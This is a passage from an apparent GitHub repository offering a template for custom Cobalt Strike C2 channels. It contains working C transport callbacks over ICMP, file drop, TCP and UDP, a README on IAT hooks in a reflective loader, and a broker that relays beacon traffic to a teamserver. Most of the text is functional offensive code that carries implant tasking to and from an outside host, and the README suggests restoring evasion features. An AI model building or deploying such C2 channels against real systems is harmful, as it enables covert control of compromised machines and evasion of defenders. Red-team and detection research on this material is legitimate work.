105 | MSVCRT$printf("[customCallback] ICMP reply too small for length field\n"); 106 | goto cleanup; 107 | } 108 | 109 | DWORD responseLen = 0; 110 | memcpy(&responseLen, pReply->Data, sizeof(DWORD)); 111 | 112 | if (responseLen == 0 || responseLen > (pReply->DataSize - sizeof(DWORD))) { 113 | MSVCRT$printf("[customCallback] invalid response length %lu from ICMP reply\n", (unsigned long)responseLen); 114 | goto cleanup; 115 | } 116 | 117 | responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1); 118 | if (responseBuf == NULL) { 119 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 120 | goto cleanup; 121 | } 122 | 123 | memcpy(responseBuf, (char *)pReply->Data + sizeof(DWORD), responseLen); 124 | responseBuf[responseLen] = '\0'; 125 | 126 | MSVCRT$printf("[customCallback] received %lu bytes over ICMP\n", (unsigned long)responseLen); 127 | 128 | cleanup: 129 | if (sendBuffer != NULL) { 130 | KERNEL32$HeapFree(hHeap, 0, sendBuffer); 131 | } 132 | if (replyBuffer != NULL) { 133 | KERNEL32$HeapFree(hHeap, 0, replyBuffer); 134 | } 135 | if (icmpHandle != NULL && icmpHandle != INVALID_HANDLE_VALUE) { 136 | IPHLPAPI$IcmpCloseHandle(icmpHandle); 137 | } 138 | 139 | return responseBuf; 140 | } 141 | -------------------------------------------------------------------------------- /winhttp/customCallback.h: -------------------------------------------------------------------------------- 1 | /* 2 | * customCallback interface and dependencies. 3 | * 4 | * This header keeps the transport-specific callback self contained so 5 | * the hook template can include it without additional wiring. 6 | */ 7 | 8 | #pragma once 9 | 10 | #include 11 | #include 12 | 13 | // Minimal imports required by the default customCallback implementation. 14 | #ifndef KERNEL32$GetProcessHeap 15 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 16 | #endif 17 | #ifndef KERNEL32$CreateFileA 18 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 19 | #endif 20 | #ifndef KERNEL32$WriteFile 21 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 22 | #endif 23 | #ifndef KERNEL32$CloseHandle 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 25 | #endif 26 | #ifndef KERNEL32$Sleep 27 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD); 28 | #endif 29 | #ifndef KERNEL32$GetFileSize 30 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD); 31 | #endif 32 | #ifndef KERNEL32$HeapAlloc 33 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 34 | #endif 35 | #ifndef KERNEL32$HeapFree 36 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 37 | #endif 38 | #ifndef KERNEL32$ReadFile 39 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 40 | #endif 41 | 42 | #ifndef MSVCRT$printf 43 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 44 | #endif 45 | #ifndef MSVCRT$strlen 46 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 47 | #endif 48 | 49 | /* 50 | * customCallback specification: 51 | * 52 | * This is what you modify. You can put any transport you want here, the file read/write is just my 53 | * PoC and tutorial code to show the spec. 54 | * 55 | * 1. encodedRequest is a base64-encoded JSON of the HTTP request (method/scheme/host/port/path/headers/body) 56 | * - you dont need to touch this content - just send it to the broker.py script somehow and get the response. 57 | * 2. return the response as a char* 58 | * 59 | * You can return NULL to skip handling and let WinHTTP continue normally. (e.g. timeout) 60 | * 61 | * Profit! 62 | * 63 | * Hopefully this is easy enough to use xD 64 | */ 65 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 66 | { 67 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 68 | DWORD bytesWritten = 0; 69 | DWORD bytesRead = 0; 70 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 71 | MSVCRT$printf("[customCallback] writing request to request.txt"); 72 | 73 | HANDLE hReq = KERNEL32$CreateFileA("request.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 74 | if (hReq == INVALID_HANDLE_VALUE) { 75 | MSVCRT$printf("\n[customCallback] failed to open request.txt for write\n"); 76 | return NULL; 77 | } 78 | 79 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 80 | if (encodedRequest != NULL && reqLen > 0) { 81 | KERNEL32$WriteFile(hReq, encodedRequest, reqLen, &bytesWritten, NULL); 82 | } 83 | KERNEL32$CloseHandle(hReq); 84 | 85 | MSVCRT$printf("\n[customCallback] wrote %lu bytes, sleeping 500ms before reading response", (unsigned long)bytesWritten); 86 | KERNEL32$Sleep(500); 87 | 88 | HANDLE hResp = KERNEL32$CreateFileA("response.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 89 | if (hResp == INVALID_HANDLE_VALUE) { 90 | MSVCRT$printf("\n[customCallback] failed to open response.txt for read\n"); 91 | return NULL; 92 | } 93 | 94 | DWORD fileSize = KERNEL32$GetFileSize(hResp, NULL); 95 | if (fileSize == INVALID_FILE_SIZE) { 96 | MSVCRT$printf("\n[customCallback] invalid file size for response.txt\n"); 97 | KERNEL32$CloseHandle(hResp); 98 | return NULL; 99 | } 100 | 101 | if (fileSize == 0) { 102 | MSVCRT$printf("\n[customCallback] empty response.txt detected; returning no data to caller\n"); 103 | KERNEL32$CloseHandle(hResp); 104 | return NULL; 105 | } 106 | 107 | char *responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, fileSize + 1); 108 | if (responseBuf == NULL) { 109 | MSVCRT$printf("\n[customCallback] allocation failed for response buffer\n"); 110 | KERNEL32$CloseHandle(hResp); 111 | return NULL; 112 | } 113 | 114 | if (KERNEL32$ReadFile(hResp, responseBuf, fileSize, &bytesRead, NULL) == FALSE) { 115 | MSVCRT$printf("\n[customCallback] read failed from response.txt\n"); 116 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 117 | KERNEL32$CloseHandle(hResp); 118 | return NULL; 119 | } 120 | 121 | while (bytesRead > 0 && (responseBuf[bytesRead - 1] == '\n' || responseBuf[bytesRead - 1] == '\r')) { 122 | bytesRead--; 123 | } 124 | 125 | if (bytesRead == 0) { 126 | MSVCRT$printf("\n[customCallback] response.txt contained no data after trimming; returning no data to caller\n"); 127 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 128 | KERNEL32$CloseHandle(hResp); 129 | return NULL; 130 | } 131 | 132 | responseBuf[bytesRead] = '\0'; 133 | KERNEL32$CloseHandle(hResp); 134 | 135 | MSVCRT$printf("\n[customCallback] read %lu bytes from response.txt\n", (unsigned long)bytesRead); 136 | return responseBuf; 137 | } 138 | 139 | -------------------------------------------------------------------------------- /wininet/customCallback.h: -------------------------------------------------------------------------------- 1 | /* 2 | * customCallback interface and dependencies. 3 | * 4 | * This header keeps the transport-specific callback self contained so 5 | * the hook template can include it without additional wiring. 6 | */ 7 | 8 | #pragma once 9 | 10 | #include 11 | #include 12 | 13 | // Minimal imports required by the default customCallback implementation. 14 | #ifndef KERNEL32$GetProcessHeap 15 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 16 | #endif 17 | #ifndef KERNEL32$CreateFileA 18 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 19 | #endif 20 | #ifndef KERNEL32$WriteFile 21 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 22 | #endif 23 | #ifndef KERNEL32$CloseHandle 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 25 | #endif 26 | #ifndef KERNEL32$Sleep 27 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD); 28 | #endif 29 | #ifndef KERNEL32$GetFileSize 30 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD); 31 | #endif 32 | #ifndef KERNEL32$HeapAlloc 33 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 34 | #endif 35 | #ifndef KERNEL32$HeapFree 36 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 37 | #endif 38 | #ifndef KERNEL32$ReadFile 39 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 40 | #endif 41 | 42 | #ifndef MSVCRT$printf 43 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 44 | #endif 45 | #ifndef MSVCRT$strlen 46 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 47 | #endif 48 | 49 | /* 50 | * customCallback specification: 51 | * 52 | * This is what you modify. You can put any transport you want here, the file read/write is just my 53 | * PoC and tutorial code to show the spec. 54 | * 55 | * 1. encodedRequest is a base64-encoded JSON of the HTTP request (method/scheme/host/port/path/headers/body) 56 | * - you dont need to touch this content - just send it to the broker.py script somehow and get the response. 57 | * 2. return the response as a char* 58 | * 59 | * You can return NULL to skip handling and let WinInet continue normally. (e.g. timeout) 60 | * 61 | * Profit! 62 | * 63 | * Hopefully this is easy enough to use xD 64 | */ 65 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 66 | { 67 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 68 | DWORD bytesWritten = 0; 69 | DWORD bytesRead = 0; 70 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 71 | MSVCRT$printf("[customCallback] writing request to request.txt"); 72 | 73 | HANDLE hReq = KERNEL32$CreateFileA("request.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 74 | if (hReq == INVALID_HANDLE_VALUE) { 75 | MSVCRT$printf("\n[customCallback] failed to open request.txt for write\n"); 76 | return NULL; 77 | } 78 | 79 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 80 | if (encodedRequest != NULL && reqLen > 0) { 81 | KERNEL32$WriteFile(hReq, encodedRequest, reqLen, &bytesWritten, NULL); 82 | } 83 | KERNEL32$CloseHandle(hReq); 84 | 85 | MSVCRT$printf("\n[customCallback] wrote %lu bytes, sleeping 500ms before reading response", (unsigned long)bytesWritten); 86 | KERNEL32$Sleep(500); 87 | 88 | HANDLE hResp = KERNEL32$CreateFileA("response.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 89 | if (hResp == INVALID_HANDLE_VALUE) { 90 | MSVCRT$printf("\n[customCallback] failed to open response.txt for read\n"); 91 | return NULL; 92 | } 93 | 94 | DWORD fileSize = KERNEL32$GetFileSize(hResp, NULL); 95 | if (fileSize == INVALID_FILE_SIZE) { 96 | MSVCRT$printf("\n[customCallback] invalid file size for response.txt\n"); 97 | KERNEL32$CloseHandle(hResp); 98 | return NULL; 99 | } 100 | 101 | if (fileSize == 0) { 102 | MSVCRT$printf("\n[customCallback] empty response.txt detected; returning no data to caller\n"); 103 | KERNEL32$CloseHandle(hResp); 104 | return NULL; 105 | } 106 | 107 | char *responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, fileSize + 1); 108 | if (responseBuf == NULL) { 109 | MSVCRT$printf("\n[customCallback] allocation failed for response buffer\n"); 110 | KERNEL32$CloseHandle(hResp); 111 | return NULL; 112 | } 113 | 114 | if (KERNEL32$ReadFile(hResp, responseBuf, fileSize, &bytesRead, NULL) == FALSE) { 115 | MSVCRT$printf("\n[customCallback] read failed from response.txt\n"); 116 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 117 | KERNEL32$CloseHandle(hResp); 118 | return NULL; 119 | } 120 | 121 | while (bytesRead > 0 && (responseBuf[bytesRead - 1] == '\n' || responseBuf[bytesRead - 1] == '\r')) { 122 | bytesRead--; 123 | } 124 | 125 | if (bytesRead == 0) { 126 | MSVCRT$printf("\n[customCallback] response.txt contained no data after trimming; returning no data to caller\n"); 127 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 128 | KERNEL32$CloseHandle(hResp); 129 | return NULL; 130 | } 131 | 132 | responseBuf[bytesRead] = '\0'; 133 | KERNEL32$CloseHandle(hResp); 134 | 135 | MSVCRT$printf("\n[customCallback] read %lu bytes from response.txt\n", (unsigned long)bytesRead); 136 | return responseBuf; 137 | } 138 | 139 | -------------------------------------------------------------------------------- /examples/tcp/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #ifndef KERNEL32$GetProcessHeap 7 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 8 | #endif 9 | #ifndef KERNEL32$HeapAlloc 10 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 11 | #endif 12 | #ifndef KERNEL32$HeapFree 13 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 14 | #endif 15 | #ifndef MSVCRT$printf 16 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 17 | #endif 18 | #ifndef MSVCRT$strlen 19 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 20 | #endif 21 | #ifndef WS2_32$WSAStartup 22 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD, LPWSADATA); 23 | #endif 24 | #ifndef WS2_32$socket 25 | DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket(int, int, int); 26 | #endif 27 | #ifndef WS2_32$connect 28 | DECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET, const struct sockaddr *, int); 29 | #endif 30 | #ifndef WS2_32$send 31 | DECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET, const char *, int, int); 32 | #endif 33 | #ifndef WS2_32$recv 34 | DECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET, char *, int, int); 35 | #endif 36 | #ifndef WS2_32$closesocket 37 | DECLSPEC_IMPORT int WSAAPI WS2_32$closesocket(SOCKET); 38 | #endif 39 | #ifndef WS2_32$WSACleanup 40 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup(); 41 | #endif 42 | #ifndef WS2_32$htons 43 | DECLSPEC_IMPORT u_short WSAAPI WS2_32$htons(u_short); 44 | #endif 45 | #ifndef WS2_32$inet_addr 46 | DECLSPEC_IMPORT unsigned long WSAAPI WS2_32$inet_addr(const char *cp); 47 | #endif 48 | 49 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 50 | { 51 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 52 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 53 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 54 | 55 | if (encodedRequest == NULL || reqLen == 0) { 56 | MSVCRT$printf("[customCallback] no request data to send\n"); 57 | return NULL; 58 | } 59 | 60 | if (host == NULL || host[0] == '\0') { 61 | MSVCRT$printf("[customCallback] missing host for broker connection\n"); 62 | return NULL; 63 | } 64 | 65 | WSADATA wsaData; 66 | SOCKET sock = INVALID_SOCKET; 67 | int result = WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData); 68 | if (result != 0) { 69 | MSVCRT$printf("[customCallback] WSAStartup failed: %d\n", result); 70 | return NULL; 71 | } 72 | 73 | sock = WS2_32$socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 74 | if (sock == INVALID_SOCKET) { 75 | MSVCRT$printf("[customCallback] socket creation failed\n"); 76 | WS2_32$WSACleanup(); 77 | return NULL; 78 | } 79 | 80 | struct sockaddr_in brokerAddr; 81 | brokerAddr.sin_family = AF_INET; 82 | brokerAddr.sin_port = WS2_32$htons(port); 83 | brokerAddr.sin_addr.S_un.S_addr = WS2_32$inet_addr(host); 84 | 85 | if (WS2_32$connect(sock, (SOCKADDR *)&brokerAddr, sizeof(brokerAddr)) == SOCKET_ERROR) { 86 | MSVCRT$printf("[customCallback] failed to connect to broker %s:%u\n", host, (unsigned int)port); 87 | WS2_32$closesocket(sock); 88 | WS2_32$WSACleanup(); 89 | return NULL; 90 | } 91 | 92 | DWORD bytesToSend = reqLen; 93 | if (WS2_32$send(sock, (const char *)&bytesToSend, sizeof(bytesToSend), 0) != sizeof(bytesToSend)) { 94 | MSVCRT$printf("[customCallback] failed to send request length\n"); 95 | WS2_32$closesocket(sock); 96 | WS2_32$WSACleanup(); 97 | return NULL; 98 | } 99 | 100 | DWORD totalSent = 0; 101 | while (totalSent < reqLen) { 102 | int sent = WS2_32$send(sock, encodedRequest + totalSent, (int)(reqLen - totalSent), 0); 103 | if (sent == SOCKET_ERROR || sent == 0) { 104 | MSVCRT$printf("[customCallback] failed while sending request body\n"); 105 | WS2_32$closesocket(sock); 106 | WS2_32$WSACleanup(); 107 | return NULL; 108 | } 109 | totalSent += (DWORD)sent; 110 | } 111 | 112 | DWORD responseLen = 0; 113 | int received = WS2_32$recv(sock, (char *)&responseLen, sizeof(responseLen), MSG_WAITALL); 114 | if (received != sizeof(responseLen) || responseLen == 0) { 115 | MSVCRT$printf("[customCallback] failed to receive response length\n"); 116 | WS2_32$closesocket(sock); 117 | WS2_32$WSACleanup(); 118 | return NULL; 119 | } 120 | 121 | char *responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1); 122 | if (responseBuf == NULL) { 123 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 124 | WS2_32$closesocket(sock); 125 | WS2_32$WSACleanup(); 126 | return NULL; 127 | } 128 | 129 | DWORD totalReceived = 0; 130 | while (totalReceived < responseLen) { 131 | int chunk = WS2_32$recv(sock, responseBuf + totalReceived, (int)(responseLen - totalReceived), 0); 132 | if (chunk == SOCKET_ERROR || chunk == 0) { 133 | MSVCRT$printf("[customCallback] failed while receiving response body\n"); 134 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 135 | WS2_32$closesocket(sock); 136 | WS2_32$WSACleanup(); 137 | return NULL; 138 | } 139 | totalReceived += (DWORD)chunk; 140 | } 141 | 142 | responseBuf[responseLen] = '\0'; 143 | WS2_32$closesocket(sock); 144 | WS2_32$WSACleanup(); 145 | 146 | MSVCRT$printf("[customCallback] received %lu bytes from TCP broker\n", (unsigned long)responseLen); 147 | return responseBuf; 148 | } 149 | -------------------------------------------------------------------------------- /examples/udp/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #ifndef KERNEL32$GetProcessHeap 8 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 9 | #endif 10 | #ifndef KERNEL32$HeapAlloc 11 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 12 | #endif 13 | #ifndef KERNEL32$HeapFree 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 15 | #endif 16 | #ifndef MSVCRT$printf 17 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 18 | #endif 19 | #ifndef MSVCRT$strlen 20 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 21 | #endif 22 | #ifndef WS2_32$WSAStartup 23 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD, LPWSADATA); 24 | #endif 25 | #ifndef WS2_32$socket 26 | DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket(int, int, int); 27 | #endif 28 | #ifndef WS2_32$setsockopt 29 | DECLSPEC_IMPORT int WSAAPI WS2_32$setsockopt(SOCKET, int, int, const char *, int); 30 | #endif 31 | #ifndef WS2_32$connect 32 | DECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET, const struct sockaddr *, int); 33 | #endif 34 | #ifndef WS2_32$send 35 | DECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET, const char *, int, int); 36 | #endif 37 | #ifndef WS2_32$recv 38 | DECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET, char *, int, int); 39 | #endif 40 | #ifndef WS2_32$closesocket 41 | DECLSPEC_IMPORT int WSAAPI WS2_32$closesocket(SOCKET); 42 | #endif 43 | #ifndef WS2_32$WSACleanup 44 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup(); 45 | #endif 46 | #ifndef WS2_32$htons 47 | DECLSPEC_IMPORT u_short WSAAPI WS2_32$htons(u_short); 48 | #endif 49 | #ifndef WS2_32$inet_addr 50 | DECLSPEC_IMPORT unsigned long WSAAPI WS2_32$inet_addr(const char *cp); 51 | #endif 52 | 53 | #define BROKER_TIMEOUT_MS 5000 54 | #define MAX_DATAGRAM_SIZE 65535 55 | 56 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 57 | { 58 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 59 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 60 | SOCKET sock = INVALID_SOCKET; 61 | BOOL wsaStarted = FALSE; 62 | char *recvBuf = NULL; 63 | char *responseBuf = NULL; 64 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 65 | 66 | if (encodedRequest == NULL || reqLen == 0) { 67 | MSVCRT$printf("[customCallback] no request data to send\n"); 68 | return NULL; 69 | } 70 | 71 | if (host == NULL || host[0] == '\0') { 72 | MSVCRT$printf("[customCallback] missing host for broker connection\n"); 73 | return NULL; 74 | } 75 | 76 | WSADATA wsaData; 77 | int result = WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData); 78 | if (result != 0) { 79 | MSVCRT$printf("[customCallback] WSAStartup failed: %d\n", result); 80 | return NULL; 81 | } 82 | 83 | wsaStarted = TRUE; 84 | 85 | sock = WS2_32$socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 86 | if (sock == INVALID_SOCKET) { 87 | MSVCRT$printf("[customCallback] socket creation failed\n"); 88 | goto cleanup; 89 | } 90 | 91 | DWORD timeout = BROKER_TIMEOUT_MS; 92 | WS2_32$setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(timeout)); 93 | WS2_32$setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char *)&timeout, sizeof(timeout)); 94 | 95 | struct sockaddr_in brokerAddr; 96 | brokerAddr.sin_family = AF_INET; 97 | brokerAddr.sin_port = WS2_32$htons(port); 98 | brokerAddr.sin_addr.S_un.S_addr = WS2_32$inet_addr(host); 99 | 100 | if (WS2_32$connect(sock, (SOCKADDR *)&brokerAddr, sizeof(brokerAddr)) == SOCKET_ERROR) { 101 | MSVCRT$printf("[customCallback] failed to connect to broker %s:%u\n", host, (unsigned int)port); 102 | goto cleanup; 103 | } 104 | 105 | DWORD packetLen = sizeof(DWORD) + reqLen; 106 | char *packet = (char *)KERNEL32$HeapAlloc(hHeap, 0, packetLen); 107 | if (packet == NULL) { 108 | MSVCRT$printf("[customCallback] allocation failed for request packet\n"); 109 | goto cleanup; 110 | } 111 | 112 | memcpy(packet, &reqLen, sizeof(DWORD)); 113 | memcpy(packet + sizeof(DWORD), encodedRequest, reqLen); 114 | 115 | int sent = WS2_32$send(sock, packet, (int)packetLen, 0); 116 | KERNEL32$HeapFree(hHeap, 0, packet); 117 | if (sent != (int)packetLen) { 118 | MSVCRT$printf("[customCallback] failed to send request packet over UDP\n"); 119 | goto cleanup; 120 | } 121 | 122 | recvBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, MAX_DATAGRAM_SIZE); 123 | if (recvBuf == NULL) { 124 | MSVCRT$printf("[customCallback] allocation failed for receive buffer\n"); 125 | goto cleanup; 126 | } 127 | 128 | int received = WS2_32$recv(sock, recvBuf, MAX_DATAGRAM_SIZE, 0); 129 | if (received < (int)sizeof(DWORD)) { 130 | MSVCRT$printf("[customCallback] failed to receive response length over UDP\n"); 131 | goto cleanup; 132 | } 133 | 134 | DWORD responseLen = 0; 135 | memcpy(&responseLen, recvBuf, sizeof(DWORD)); 136 | 137 | if (responseLen == 0 || responseLen > (DWORD)(received - sizeof(DWORD))) { 138 | MSVCRT$printf("[customCallback] invalid response length in UDP packet\n"); 139 | goto cleanup; 140 | } 141 | 142 | responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1); 143 | if (responseBuf == NULL) { 144 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 145 | goto cleanup; 146 | } 147 | 148 | memcpy(responseBuf, recvBuf + sizeof(DWORD), responseLen); 149 | responseBuf[responseLen] = '\0'; 150 | 151 | cleanup: 152 | if (recvBuf != NULL) { 153 | KERNEL32$HeapFree(hHeap, 0, recvBuf); 154 | } 155 | if (sock != INVALID_SOCKET) { 156 | WS2_32$closesocket(sock); 157 | } 158 | if (wsaStarted) { 159 | WS2_32$WSACleanup(); 160 | } 161 | 162 | return responseBuf; 163 | } 164 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IAT Hooking for custom C2 channels 2 | 3 | This is a simple PoC and template for developing custom C2 channels for Cobalt Strike using IAT hooks applied by a reflective loader. 4 | 5 | Blog post: [https://codex-7.gitbook.io/codexs-terminal-window/red-team/cobalt-strike/building-custom-c2-channels-by-hooking-wininet](https://codex-7.gitbook.io/codexs-terminal-window/red-team/cobalt-strike/building-custom-c2-channels-by-hooking-wininet) 6 | Demo gif of the TCP channel 7 | ![gif.gif](https://github.com/CodeXTF2/CustomC2ChannelTemplate/blob/main/gif.gif?raw=true) 8 | 9 | ## Usage 10 | the customCallback.h, hook.c, hash.h and hook.h files are rough templates, but they can be dropped into [Crystal kit](https://github.com/rasta-mouse/Crystal-Kit) to be used as is as a PoC. Place them into the udrl/src folder, replacing the existing copies. tcg.h is unchanged (from Raphael Mudge's tradecraft garden) 11 | 12 | Examples in the examples/ folder can be used as is, but they are **examples** and operational considerations were not taken when writing them. Use with caution. 13 | 14 | Current examples are: 15 | - named pipe (broker must run on same host) 16 | - TCP 17 | - UDP (I was too lazy to do chunking, so max callback size of 65535) 18 | - NTP (I was too lazy to do chunking, so max callback size of 65535) 19 | - ICMP (I was too lazy to do chunking, so max callback size of 65535) 20 | - Websockets (only works with wininet, to be fixed) 21 | 22 | 23 | 24 | Note that original evasion capabilities in Crystal kit such as the Draugr implementation and sleep masking have been removed from the hook.c to keep this codebase clean and portable. If you wish to keep those features, you can add them back from the original copies in Crystal kit. 25 | 26 | You must select wininet as the http library to use when generating the beacon dll. 27 | 28 | The malleable profile this was tested with is provided in the repo - in theory (most) other malleable profiles should work but this template was tested using this profile (taken from GraphStrike). 29 | 30 | ## Why did I make this? 31 | The official ExternalC2 interface is a pain to use - it requires staging of an SMB beacon OVER the externalc2 channel, and (until 4.10) did not support communicating with a premade SMB beacon without staging through the externalc2 agent first. Even in its current state, it is still tied to the architecture of: 32 | ``` 33 | smb beacon --named pipe--> externalc2 agent --custom channel--> externalc2 handler --> teamserver 34 | ``` 35 | 36 | Yes, I am aware of UDC2 being added in Cobalt Strike 4.12. This is just a fun experiment anyway to replicate that capability in the UDRL. 37 | 38 | The concept is simple - if you can hook the WinAPIs used to call back, you already have all the data necessary for a callback. This method of implementing custom C2 channels has already been done before, as seen in [GraphStrike](https://github.com/RedSiege/GraphStrike). 39 | 40 | However, GraphStrike's implementation is still quite tied to the HTTP protocol itself. The goal of this repo is to provide an easy to use, modify and extend template for implementing any custom channel, HTTP or otherwise, with little modification to the surrounding code. 41 | 42 | ## Extending the template 43 | This template is obviously not meant to be used in its default state, so to implement your C2 channel of choice, you need to modify the 44 | following: 45 | 46 | ```customCallback``` function to perform the following things: 47 | 48 | 1. transmit the base64 blob (its first argument) out via any means necessary 49 | 2. get the response and return it 50 | 51 | You can use the original host and port of the http request (which you set from cobalt) via the args: 52 | ``` 53 | const char *host 54 | INTERNET_PORT port 55 | ``` 56 | 57 | and modify the ```handleCallback()``` function in broker.py to do the following: 58 | 59 | 1. receive callbacks 60 | 2. call process_encoded_request(your callback data goes here) 61 | 3. send responses back. 62 | 63 | Thats it. 64 | 65 | As an example, the PoC in the ```customCallback()``` function in the customCallback.h currently does the following: 66 | 67 | 1. write the base64 blob to a file, request.txt 68 | 2. waits 500ms 69 | 3. reads the response from a file response.txt 70 | 4. returns the file contents 71 | 72 | The PoC in the handleCallback function in the broker.py currently does the following: 73 | 74 | 1. reads callback from request.txt 75 | 2. calls ```process_encoded_request(encoded_request)``` 76 | 3. writes the response to response.txt 77 | 78 | ```usage: broker.py [-h] --host HOST --port PORT``` 79 | where the host and port points to the http listener on your teamserver. The broker parses out the http request and sends it to the actual 80 | listener. 81 | 82 | ## Other random fun facts about this implementation, for anyone that cares 83 | This is probably the "laziest" way I to do it, but also one of the more stable 